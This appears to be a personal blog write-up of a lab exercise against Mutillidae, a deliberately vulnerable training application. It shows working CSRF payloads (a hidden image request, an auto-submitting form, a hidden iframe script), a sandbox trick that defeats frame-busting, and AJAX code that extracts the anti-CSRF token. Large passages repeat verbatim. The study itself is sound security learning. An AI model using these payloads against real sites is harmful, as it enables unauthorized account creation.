There's a page that allows an admin to create new users. We want to get the admin's browser to make a request for us, using a CSRF.
If there is no CSRF protection, we can lure the admin to visit a page controlled by us, and submit a form, using GET. Or POST if required.
GET
<html>
<body>
<p>Thankyou for visiting!</p>
<img height="0" width="0" src="https://localhost/mutillidae/index.php?page=register.php&username=baloobas2&password=bar&confirm_password=bar&my_signature=wizz®ister-php-submit-button=Create+Account"/>
</html>
Verify it's in the DB:
Note: I realize I have confused myself as to what will and won't work - and where from - by not hosting my attacks on a different domain. I will start again on this at some point but using a different attack domain. Anyway, the CSRF work below is still relevant if it can be executed via stored or reflected XSS on the target site, which surely must be possible in Mutillidae.
If the site has CSRF protection then we can first get the admin's browser to make a request to get the form (containing security tokens) before submitting it back with the data filled in. So I thought I'd do that with an iframe.
It works on 'hosed' security, but when I turned on client-side security something funny happened - the app detected it was in an iframe and loaded itself into the main window! Thwarted. So my next quest was to find a way around that or a different approach entirely...
I thought about creating a new window and reaching across to that (I think it's possible), but that would require a new window, and everybody blocks popups. No doubt popup blocking is bypassable somehow but it seemed like a potentially long road.
After googling around I discovered I could sandbox an iframe so, along with other security restrictions applied by default, the page wouldn't know it was an iframe. I had to explicitly remove a security restrictions so that the enclosing document could access it, and then another for the iframe to be able to submit a form. Here's how it looks:
<iframe id="naughty" onload="loaded()" src="/mutillidae/index.php?page=register.php" style="visibility:hidden" sandbox="allow-same-origin allow-forms"></iframe>
Now it works! Here is my user in the DB.
However it doesn't work with on the highest security level. The console spits out:
Load denied by X-Frame-Options
This met with the same error:
document.getElementById("content").innerHTML='<object type="text/html" data="/mutillidae/index.php?page=register.php"></object>';
However I managed to get the token using AJAX and regex:
$.ajax({
url : "/mutillidae/index.php?page=register.php",
success : function(result){
token = /name="csrf-token" type="hidden" value="(.+)"/mg.exec(result)[1];
alert(token);
}
});
To be continued...
If there is no CSRF protection, we can lure the admin to visit a page controlled by us, and submit a form, using GET. Or POST if required.
GET
<html>
<body>
<p>Thankyou for visiting!</p>
<img height="0" width="0" src="https://localhost/mutillidae/index.php?page=register.php&username=baloobas2&password=bar&confirm_password=bar&my_signature=wizz®ister-php-submit-button=Create+Account"/>
</html>
Verify it's in the DB:
POST
<html>
<body>
<p>Thankyou for visiting!</p>
<form id="naughty" method="POST" action="https://localhost/mutillidae/index.php?page=register.php">
<input type="hidden" name="username" value="haxxor999"/>
<input type="hidden" name="password" value="whatever"/>
<input type="hidden" name="confirm_password" value="whatever"/>
<input type="hidden" name="my_signature" value="whatever"/>
<input type="hidden" name="register-php-submit-button" value="Create Account"/>
</form>
<script>document.getElementById('naughty').submit();</script>
</html>
Verify it's in the DB:
CSRF protection circumvention
Note: I realize I have confused myself as to what will and won't work - and where from - by not hosting my attacks on a different domain. I will start again on this at some point but using a different attack domain. Anyway, the CSRF work below is still relevant if it can be executed via stored or reflected XSS on the target site, which surely must be possible in Mutillidae.
If the site has CSRF protection then we can first get the admin's browser to make a request to get the form (containing security tokens) before submitting it back with the data filled in. So I thought I'd do that with an iframe.
First I coded up a standalone web page with security level 'hosed' to make sure everything was working (actual bad guys don't get this luxury, eh?). It took me a while because I'm new to javascript/browser DOMs and so forth. Learn by making mistakes!
xss_csrf.html
<html>
<html>
<body>
<p>Nothing to see here...</p>
<script>
var fired = false;
function loaded() {
if (fired) return;
fired = true;
var iframe = document.getElementById('naughty');
var doc = iframe.contentWindow.document;
var form = doc.forms[0];
doc.getElementsByName("username")[0].value = 'haxxor1000';
doc.getElementsByName("password")[0].value = 'whatever';
doc.getElementsByName("confirm_password")[0].value = 'whatever';
doc.getElementsByName("my_signature")[0].value = 'whatever';
doc.getElementsByName("register-php-submit-button")[0].click();
}
</script>
<iframe id="naughty" onload="loaded()" src="/mutillidae/index.php?page=register.php" style="visibility:hidden"></iframe>
</body>
</html>
It works on 'hosed' security, but when I turned on client-side security something funny happened - the app detected it was in an iframe and loaded itself into the main window! Thwarted. So my next quest was to find a way around that or a different approach entirely...
I thought about creating a new window and reaching across to that (I think it's possible), but that would require a new window, and everybody blocks popups. No doubt popup blocking is bypassable somehow but it seemed like a potentially long road.
After googling around I discovered I could sandbox an iframe so, along with other security restrictions applied by default, the page wouldn't know it was an iframe. I had to explicitly remove a security restrictions so that the enclosing document could access it, and then another for the iframe to be able to submit a form. Here's how it looks:
<iframe id="naughty" onload="loaded()" src="/mutillidae/index.php?page=register.php" style="visibility:hidden" sandbox="allow-same-origin allow-forms"></iframe>
Now it works! Here is my user in the DB.
However it doesn't work with on the highest security level. The console spits out:
Load denied by X-Frame-Options
This met with the same error:
document.getElementById("content").innerHTML='<object type="text/html" data="/mutillidae/index.php?page=register.php"></object>';
However I managed to get the token using AJAX and regex:
$.ajax({
url : "/mutillidae/index.php?page=register.php",
success : function(result){
token = /name="csrf-token" type="hidden" value="(.+)"/mg.exec(result)[1];
alert(token);
}
});
To be continued...
No comments:
Post a Comment